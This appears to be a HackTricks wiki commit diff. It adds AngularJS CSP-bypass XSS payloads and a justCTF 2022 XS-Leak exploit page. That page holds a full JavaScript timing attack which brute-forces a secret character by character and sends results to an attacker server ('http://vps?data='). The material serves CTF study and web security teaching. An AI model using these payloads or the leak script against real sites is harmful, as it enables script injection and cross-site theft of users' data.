GitBook: [#3730] No subject
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* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
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* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
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* [performance.now example](pentesting-web/xs-search/performance.now-example.md)
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* [performance.now + Force heavy task](pentesting-web/xs-search/performance.now-+-force-heavy-task.md)
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* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
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* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
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* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
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@ -194,15 +194,6 @@ Load a vulnerable version of angular and execute arbitrary JS:
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"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
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<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
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With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
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<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
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<iframe/ng-app/ng-csp/srcdoc="
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<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
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</script>
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<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
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>
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```
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#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
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@ -119,6 +119,14 @@ In this case if `example.com/404` is not found `attacker.com/?error` will be loa
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[performance.now-example.md](xs-search/performance.now-example.md)
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{% endcontent-ref %}
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#### Onload Timing + Forced Heavy Task
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This technique is just like the previous one, but the **attacker** will also **force** some action to take a **relevant amount time** when the **answer is positive or negative** and measure that time.
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{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
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[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
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{% endcontent-ref %}
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### unload/beforeunload Timing
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* **Inclusion Methods**: Frames
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@ -0,0 +1,131 @@
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# performance.now + Force heavy task
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
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In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
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{% hint style="warning" %}
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Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
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{% endhint %}
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```html
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<!DOCTYPE html>
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<html>
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<head>
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</head>
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<body>
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<img src="https://deelay.me/30000/https://example.com">
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<script>
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fetch('https://deelay.me/30000/https://example.com')
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function send(data) {
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fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
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}
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function leak(char, callback) {
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return new Promise(resolve => {
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let ss = 'just_random_string'
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let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
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let start = performance.now()
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let object = document.createElement('object');
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object.width = '2000px'
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object.height = '2000px'
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object.data = url;
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object.onload = () => {
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object.remove()
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let end = performance.now()
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resolve(end - start)
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}
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object.onerror = () => console.log('Error event triggered');
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document.body.appendChild(object);
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})
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}
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send('start')
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let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
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let flag = 'justCTF{'
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async function main() {
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let found = 0
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let notFound = 0
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for(let i=0;i<3;i++) {
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await leak('..')
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}
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for(let i=0; i<3; i++) {
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found += await leak('justCTF')
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}
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for(let i=0; i<3; i++) {
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notFound += await leak('NOT_FOUND123')
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}
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found /= 3
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notFound /= 3
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send('found flag:'+found)
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send('not found flag:'+notFound)
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let threshold = found - ((found - notFound)/2)
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send('threshold:'+threshold)
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if (notFound > found) {
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return
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}
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// exploit
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while(true) {
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if (flag[flag.length - 1] === '}') {
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break
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}
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for(let char of charset) {
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let trying = flag + char
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let time = 0
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for(let i=0; i<3; i++) {
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time += await leak(trying)
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}
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time/=3
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send('char:'+trying+',time:'+time)
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if (time >= threshold) {
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flag += char
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send(flag)
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break
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}
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}
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}
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}
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main()
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</script>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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